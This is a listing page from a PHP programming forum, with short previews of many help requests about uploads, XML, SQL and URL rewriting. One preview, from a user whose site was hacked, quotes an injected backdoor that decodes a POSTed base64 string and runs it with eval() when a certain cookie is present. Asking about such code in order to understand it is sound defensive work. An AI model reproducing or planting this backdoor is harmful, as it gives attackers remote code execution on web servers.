38,020 Topics

Member Avatar for
Member Avatar for johndohmen1963

ihave a script for a multifile uoload my question is how can i create it so that i can upload only jpg files [CODE] <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" /> <title>multiple file upload</title> </head> <body> <form action="" method="post" enctype="multipart/form-data"> <input name="files[]" …

Member Avatar for johndohmen1963
0
87
Member Avatar for kali Annan

Hi guys, i want to create a registration page which has the fields like name,username,gender,dateofbirth,maritalstatus,etc... i have already created the form using html. now i need to encrypt the php code to insert these datas into the database which i have already created. Additionly i need to validate these fields …

Member Avatar for kali Annan
0
484
Member Avatar for phpDave

Hi. I use DW cs4 for pagination in order to let users page through a record set. It always worked until I use a $variable in a SELECT statement. If I hard code something, it works, variables don't. Any solutions to this?

Member Avatar for phpDave
0
122
Member Avatar for sallecpt

Hey there I know one can use include [url]http://domain/page.php?var1=xxx&var2=xxx[/url] But I dont need an include This is what I need to do, and how on earth can I achieve this? I've burnt my brains already. Please help me. [CODE]$command = "/usr/bin/php5 -f /home/path/to/file/test.php?folder=777";[/CODE] then run the command. so, test.php needs …

Member Avatar for jnicholls92
0
112
Member Avatar for DarkVision

ok here my code [CODE] libxml_use_internal_errors(true); $objXML = simplexml_load_file('MainRelease.xml','my_node'); // load xml file if(!$objXML){ $errors = libxml_get_errors(); foreach($errors as $error) { echo $error->message,'<br />'; } } else { $Result = $objXML->xpath('AllRelease/Release/name[@rdate="'.$DATERELEASE.'"]'); if(empty($Result)){ $AllRelease = $objXML->xpath("//AllRelease"); $releas = $AllRelease[0]->prependChild2("Release"); $dat = $releas->prependChild2("name"); $dat->addAttribute("rdate",$DATERELEASE); $releas->prependChild("comment",$COMMENT); $Anime = $releas->prependChild2("Anime"); $Anime->prependChild("popup",$POPUP); $Anime->prependChild("Title",$VIDEONAME); $Anime->prependChild("VideoUrl",$dir); $objXML->asXML("MainRelease.xml"); …

Member Avatar for DarkVision
0
143
Member Avatar for IWDesigns

hi guys... ive been working with codeigniter for over a year now, but ive been taking scripts apart and fixing errors/adding new functions, ....now im coding something from scratch and its proving to be quite annoying as the new version has a lot of stuff changed, so im pretty much …

Member Avatar for diafol
0
763
Member Avatar for timo2

Hi everyone, having a real problem with htaccess at the moment. If it can be done i bet its really simple but after hours of serching and trying ideas out i have got no where, any help would greatly be appreciated. ---- [B]problem:[/B] What i am trying to do is …

0
108
Member Avatar for khaleel_rashid

Hi i want to Color picker to wordpress website but unable to find any plugin to do it. i don't want it in admin section. i need it on my website.

Member Avatar for khaleel_rashid
0
104
Member Avatar for BaSk

I keep getting a error and I can't figure out whats causing it. An error(8) occurred on line 25. Undefined index: ecount Line 25 is [CODE]$parent_menu[$row->parentId]['ecount']++;[/CODE] and is apart of this, [CODE] if($row->parentId == 0){ $parent_menu[$row->id]['id'] = $row->id; $parent_menu[$row->id]['label'] = $row->title; $parent_menu[$row->id]['link'] = $row->id; $parent_menu[$row->id]['active'] = $row->active; $parent_menu[$row->id]['type'] = $row->type; …

Member Avatar for tiggsy
0
96
Member Avatar for manu555

I have problem to insert value of fields as checkbox checked . please help me.[code]<ol > <?php $i = 0; $sql="SELECT * FROM import_master WHERE mawb='".trim($_GET['id'])."' ORDER BY conzName"; $rs=mysql_query($sql); while($row = mysql_fetch_array($rs)) { ?> <li> <div><table width="100%" border="0" align="center" cellpadding="5" cellspacing="1" class="entryTable"> <tr> <td class="label" > <input type="checkbox" id="chb[]" …

Member Avatar for tiggsy
0
96
Member Avatar for noahshoa2

Hi. Ok, so I am looking for a all PHP website crawler (spider, indexer). I have tried out Sphider, but I don't really like all the complexities of it. In short, I am looking for a PHP script that takes the title, url, words, and puts it in a database. …

Member Avatar for tomato.pgn
0
205
Member Avatar for extemer

hello guys i want to perform following task through php that i should make a text field and a button name as reboot and in the text field,there should i mention the ipaddress of my dsl and click reboot which reboot my dsl router...is there any function through we can …

Member Avatar for almostbob
-1
84
Member Avatar for dd2308

hello to all members... i have developed a simple application with php...now i am further looking for learning RIA developments....i searched for flex and silverlight... i want to know is there any requirement for silverlight to have IIS server or any to work with php..... In flex i found good …

Member Avatar for dd2308
0
168
Member Avatar for wfray

I'm attempring to save the keys of mysql records in an array but get the Fatal Error: Can't use function return value in write context.. The code is: [code=php]for ($i = 0; $i < $tranrows; ++$i) { $tranrec = mysql_fetch_row($tranresult); $keyarray($i) = $tranrec[0]; }[/code] I've done all the mysql code …

Member Avatar for vibhaJ
0
228
Member Avatar for Stefano Mtangoo

Hello, I was reading web security stuffs and found that user can inject malicious codes mostly JS in forms. Now, What about CKFinder/TinyMCE et al? They obviously produce html and any stripping will destroy the article formatting. bad enough they have a "code mode" where user can enter html directly. …

Member Avatar for Stefano Mtangoo
0
145
Member Avatar for Joshua Kidd

I need some help, some of the recent posts I made probably made no sense. lol. XML file im working with: [url]http://www.vafinancials.com/web/hubs_xml.php?id=18686[/url] I had an Idea but am unsure of how to use it. I thought of using something like a SQL query to echo out certain hub info. Like …

Member Avatar for Joshua Kidd
0
105
Member Avatar for Tony Smith

hi, Hours i've spent looking and the answer still eludes me. I am trying to create a dynamic hyperlink, based on the current page url and information appended from a text entry box ideally using PHP / javascript / iframe. I do not want to reload the page to get …

Member Avatar for diafol
0
236
Member Avatar for left19

My site was hacked. They inserted this into livesite on configuartion.php [code]if (!empty($_COOKIE['v']) and $_COOKIE['v']=='d'){if (!empty($_POST['c'])) { $d=base64_decode(str_replace(' ','+',$_POST['c']));if($d) eval($d);} echo '<name=c></textarea>';exit;}[/code] what does it say??? Thanks

Member Avatar for mslade
0
129
Member Avatar for accessnws

how to pass javascript value to php without get or post...mean in the same page..without submit

Member Avatar for almostbob
0
87
Member Avatar for abhi10kumar

I am populating combobox on checkbox checked or not click event. Here is code. I am not solving the bug, JS runs on chrome but not in both IE and Firefox. checkbox <input type="checkbox" onclick="selectinactivebatch(this.value);" id="inactive_batch" name="inactive_batch" <?php if(isset($_POST)) echo "checked";?>> AJAX Code function selectinactivebatch(checkboxvalue) { var check; if(checkboxvalue=='on') check=1; …

Member Avatar for twiss
0
377
Member Avatar for loopylou8

Hi, (PHP & MYSQL) I'm looking for some advice whilst creating my image gallery. I'm using the $_GET to bring the variables I need onto a new page, which will give more details about each product. My gallery works fine and I then have all the details coming onto the …

Member Avatar for twiss
0
97
Member Avatar for newbie14

Dear All, I have an application where I have to time to time keep checking the db if there is any update I got to run some function. So what is recommended cron job or php daemon.

Member Avatar for mslade
0
348
Member Avatar for freshfitz

My php code to read my xml is there anyway to sort by date or event_id? [CODE]<?php $doc = new DOMDocument(); $doc->load( '../events.xml' ); $date = array(); // initialize data array $books = $doc->getElementsByTagName( "event" ); foreach( $books as $book ) { $evts = $book->getElementsByTagName( "event_id" ); $evt = $evts->item(0)->nodeValue; …

Member Avatar for twiss
0
1K
Member Avatar for kgizo

Hi everyone I'm currently working on a survey project,now my problem is that my while loop isn't giving the correct results. i have a mysql table that looks like this. sectionID SurveyID sectionTitle sectionInstructions 1 2 section1 answer the following questions 2 2 section2 answer the following questions Ive already …

Member Avatar for kgizo
0
139
Member Avatar for Ghekko

Hi, I have used mod_rewrite quite a bit so I am surprised I cannot get this to work. I think the issue may be with the ? in the url but not sure. Background: LAMP server, php/Mysql site with mod_rewrite set up and working correctly. The main rewrite rule is …

Member Avatar for twiss
0
166
Member Avatar for raghujosh

I have a string [CODE]$var1 = colors<select><option value = 'blue'></option></select>[/CODE] I can get the value colors as a string with this statement [CODE]$needle1 = "<select>"; $result_string1 = substr("$var1",0,strpos($var1,$needle1));[/CODE] [CODE]echo "$result_string1";[/CODE] will give me [CODE]colors. [/CODE] Then I want to get everything between <select> and </select> so I use the following …

Member Avatar for twiss
0
433
Member Avatar for sainigks

Hi everyone, i have created a sql table to store hindi data. it works fine. Now i want to store data in this sql table from an Excel sheet. i want to know which hindi font i have to use in excel sheet so it will store hindi data in …

Member Avatar for urtrivedi
0
750
Member Avatar for raghujosh

I have a string "<select><option value = 'LB1'></option></select>" What I want to do is replace only the <select> with <select name = "somename">. Currently, i have a preg_replace statement that replaces the </select> statement also. How can I prevent this. My current code is $string = "<select><option value = 'LB1'></option></select>" …

Member Avatar for diafol
0
208
Member Avatar for jrotunda85

I want to add something to the script below that, prior to insert, check to see if the $CigarID already exists for the $UserID. If so, I want it to do an update and increase the $Quantity by whatever the user inputs. If the value doesn't exist, then insert the …

Member Avatar for jrotunda85
0
124
Member Avatar for ben.matthews18

Hi I need some help with this.. I have tables in sql with the following values; [B]Tbl name -[/B] members memberid [B]- primary key[/B] Username Password [B]Tbl name -[/B]Orders Orderid -[B]primary key[/B] memberid - [B]foreign key[/B] orderno I want to be able to grab the order numbers by the specific …

Member Avatar for Stefano Mtangoo
0
202

The End.